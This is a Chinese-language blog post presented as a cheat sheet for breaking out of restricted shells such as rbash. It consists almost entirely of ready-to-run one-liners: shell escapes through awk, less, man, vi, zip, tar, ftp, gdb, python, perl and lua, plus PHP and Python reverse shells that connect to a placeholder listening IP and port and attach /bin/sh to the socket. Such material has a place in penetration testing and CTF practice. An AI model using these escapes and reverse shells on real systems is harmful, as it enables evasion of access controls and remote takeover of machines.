RestrictedShell
Restricted Shell是受限shell环境,所谓受限shell环境,指的是一个会阻止/限制某些命令(如cd、ls、echo等)或“阻止”SHELL、PATH、USER等环境变量的shell环境。有些时候,受限shell环境可能会阻止重定向输出操作符如>,>>,或者其他使用这些重定向的命令。实际上,常见的受限shell环境类型包括rbash、rksh和rsh。
可用命令绕过
/
字符绕过
不被运行的情况
允许情况:直接输入以下命令
1 | /bin/bash |
cp命令绕过
可以直接复制/bin/bash到本用户目录
1 | cp /bin/bash bash1 |
awk
1 | awk 'BEGIN {system("/bin/sh")}' |
less/more
在末行模式直接执行
1 | ! 'sh' |
man
先执行man 不能显示完全,直接输入!/bin/bash
git help status 同理
可用软件绕过
vi/vim
在末行模式输入:set shell=/bin/bash
在末行模式执行:shell
1 | export -p |
修改PATH
1 | export PATH="/usr/sbin:/usr/bin:/rbin:/bin" |
PATH和SHELL变量很可能是’-rx’,这意味着你只能执行不能写入,如果可写,你就可以直接写入/bin/bash
ed编辑器
先执行ed
再执行'/bin/bash'
zip
1 | zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash" |
tar
1 | tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash |
FTP
1 | ftp > !/bin/sh |
GDB
1 | gdb > !/bin/sh |
可用编程语言绕过
expect
执行expect
然后执行sh
python
1 | python -c 'import os; os.system("/bin/sh")' |
perl
1 | perl -e 'exec "/bin/sh";' |
lua
先执行lua
再执行os.execute('/bin/sh')
反弹shell绕过
php
1 | php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");' |
python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
ssh绕过
1 | ssh username@IP - t "/bin/sh" or "/bin/bash" |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 DropAnn!